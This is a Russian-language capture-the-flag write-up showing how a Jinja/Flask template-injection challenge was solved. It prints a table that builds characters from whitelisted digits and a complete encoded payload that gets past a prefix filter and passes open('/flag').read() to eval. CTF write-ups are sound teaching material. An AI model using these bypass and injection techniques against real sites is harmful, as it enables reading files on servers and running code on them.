Welcome to the Super Secure Translation Implementation (SSTI)
автор: lyellread
Как взломать сайт на питоне, или что за зверь SSTI. Таск посвящен ошибкам программистов при работе с шаблонами вроде jinja
Штож, челлендж звучит так: Get creative and try to bypass the unhackable security measures that keep this site safe.
Или на русском: Проявите креативность и попробуйте сломать невзламываемую защиту этого сайта.
Владелец так уверен в своих фильтрах защиты, что выставил их напоказ. Опрометчиво.
При беглом осмотре кода замечаем, что сайт разработан на фласке, а это значит, что мы имеем дело с шаблонизатором жижа Джинджа. И судя по названию таска здесь прячется SSTI. В краце SSTI - уязвимость внедрения кода шаблонизатора на сайт.
Углубляясь в код, находим кастомные фильтры и функцию, читающую файлы на сервере. Сразу же хочется попытаться найти флаг через параметр path, но это было бы слишком просто. Зато можно почитать код фильтров, лежащих в файле filters.py. И о чудо, там лежит eval(x)
- функция, которая преобразует строку в команду языка программирования.
Ну дальше направление понятно. Нужно что-то запихнуть в eval, что бы получился флаг. Осталось понять, что и с какой стороны.
Смотрим дальше, находим def render_secure_translate()
- функция принимает некоторый параметр payload и пропускает его через фильтр из файла check.py. Сам фильтр представляет собой список разрешенных символов.
Мдааааа, не густо. Ну ничего, мы легких путей не ищем! Вспоминаем про фильтры. А конкретно про фильтр ch - преобразует число в символ. Значит, мы можем написать любые символы, обходя фильтр! Но у нас доступны только числа из белого списка, а именно: 6, 4, 1. Значит, будем работать с тем, что дали. Ну вот и нашли куда пихать. теперь пихаем
эксплойт
Пока перебирал различные варианты эксплойта у меня получился такой массив символов из разрешенных чисел
letters = {
'a': "(64+46-14+1)",
'3': "((6*6)+(4*4)-1)",
's': "(64+64-(4*4-4+1))",
'y': "((64+64-(4+4)+1))",
'V': "(64+14+4+4)",
'k': "(64+46-4+1)",
'g': "(64+46-4-4+1)",
'%': "(14*4-(4*4)-4+1)",
'p': "(64+46+1+1)",
'n': "(64+46)",
'f': "(64+46-4-4)",
'i': "(64+46-4-1)",
'x': "(146-6*4-1-1)"
}
после небольшой гуглежки находим, как группировать теги jinja в одной строке (С помощью скобок, (как неожиданно)). Дальше из этих символов и скобок составляем команду:
(open('/flag').read())
скобки нужны для обхода условия
if x[0:4] == "open" or x[0:4] == "eval":
return "Not That Easy ;)"
Таким образом у нас срез x[0:4] будет содержать в себе строку не “open”, а “(ope”.
После замены символов на их коды и добавления фильтров получаем такую нагрузку:
"(o"+(4\*4*(6+1))|ch+"e"+(64+46)|ch+"('"+(46+1)|ch+(4\*6\*4+6)|ch+"l"+(46+46+6-1)|ch+(4\*6*4+6+1)|ch+"')"+46|ch+"re"+(46+46+6-1)|ch+"d())")|e
Дальше урленкодим всю эту красоту для того, чтобы наши плюсы не резались браузером, как специальные символы и отправляем. собстнаа все. Получаем флаг: